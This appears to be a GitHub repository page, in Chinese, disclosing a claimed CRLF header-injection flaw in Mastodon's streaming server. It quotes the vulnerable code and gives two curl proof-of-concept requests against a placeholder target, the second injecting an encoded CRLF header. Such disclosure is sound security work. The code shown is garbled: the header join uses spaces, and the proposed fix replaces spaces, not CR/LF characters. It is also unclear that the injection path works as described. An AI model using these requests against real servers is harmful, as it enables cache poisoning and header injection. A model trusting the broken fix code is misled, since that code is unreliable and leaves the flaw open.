1402307692/CVE-2026-Mastodon-Streaming-CRLF-Injection

GitHub: 1402307692/CVE-2026-Mastodon-Streaming-CRLF-Injection

针对 Mastodon Streaming Server 未经认证 WebSocket 升级请求中 CRLF 注入漏洞的概念验证代码,可复现 HTTP 响应头注入攻击。

Stars: 0 | Forks: 0

# CVE-2026-XXXXX: Mastodon Streaming Server 中的 HTTP 响应头注入 (CRLF) ## 漏洞概述 | 项目 | 详情 | |------|---------| | CVE ID | CVE-2026-XXXXX | | 受影响产品 | Mastodon (Streaming Server) | | 受影响版本 | <= 4.5.9 | | 组件 | streaming/index.js 第 188-206 行 | | 漏洞类型 | HTTP 响应头注入 / CRLF 注入 | | CWE | CWE-74 | | CVSS 3.1 | 6.5 (中危) | | 攻击载体 | 网络 | | 报告者 | qitian | ## 漏洞描述 当 WebSocket 升级请求未通过身份验证时,Mastodon Streaming Server 在 streaming/index.js 第 188-206 行构建手动 HTTP 响应,并通过 socket.end() 将 errorMessage 直接写入 X-Error-Message 响应头中,且未对 \r 或 \n 字符进行清理。 这允许未经身份验证的远程攻击者注入任意 HTTP 头部或执行 HTTP 响应拆分攻击。 ## 易受攻击的代码 (streaming/index.js 第 188-206 行) ``` const { statusCode, errorMessage } = extractErrorStatusAndMessage(err); const headers = { 'Connection': 'close', 'Content-Type': 'text/plain', 'Content-Length': 0, 'X-Request-Id': request.id, 'X-Error-Message': errorMessage // NO CRLF sanitization }; socket.end( `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]} ` + `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join(' ')} ` ); ``` ## 影响 - HTTP 头部注入:注入任意 HTTP 头部 - HTTP 响应拆分:注入第二个 HTTP 响应体(缓存投毒) - 信息泄露:内部错误消息暴露给未经身份验证的用户 ## 概念验证 ### PoC 1 - 基础检测 ``` curl -i -X GET \ -H "Upgrade: websocket" \ -H "Connection: Upgrade" \ -H "Sec-WebSocket-Version: 13" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ http://TARGET:4000/api/v1/streaming/user ``` 预期结果:HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token ### PoC 2 - CRLF 注入 ``` curl -i -X GET \ -H "Upgrade: websocket" \ -H "Connection: Upgrade" \ -H "Sec-WebSocket-Version: 13" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ -H "Authorization: Bearer test%0d%0aX-Injected: evil" \ http://TARGET:4000/api/v1/streaming/user ``` ## 修复方案 在写入 socket 头部之前清理 errorMessage: ``` const sanitizedMessage = String(errorMessage || '') .replace(/ /g, '%0D') .replace(/ /g, '%0A'); // OR use Node.js res.setHeader() API which prevents header injection ``` ## 时间线 | 日期 | 事件 | |------|-------| | 2026-04-22 | 发现漏洞并创建 PoC | | 2026-04-22 | 向 MITRE / VDB 提交 CVE 报告 | ## 参考文献 - https://github.com/mastodon/mastodon - https://cwe.mitre.org/data/definitions/74.html 免责声明:此 PoC 仅用于教育和安全研究目的。
标签:CISA项目, CRLF注入, CVE-2026, CWE-74, GNU通用公共许可证, HTTP响应头注入, HTTP响应拆分, Mastodon, MITM代理, Node.js, PoC, WebSocket, 依赖分析, 信息泄露, 情报收集, 暴力破解, 流媒体服务器, 漏洞研究, 网络安全, 联邦社交网络, 隐私保护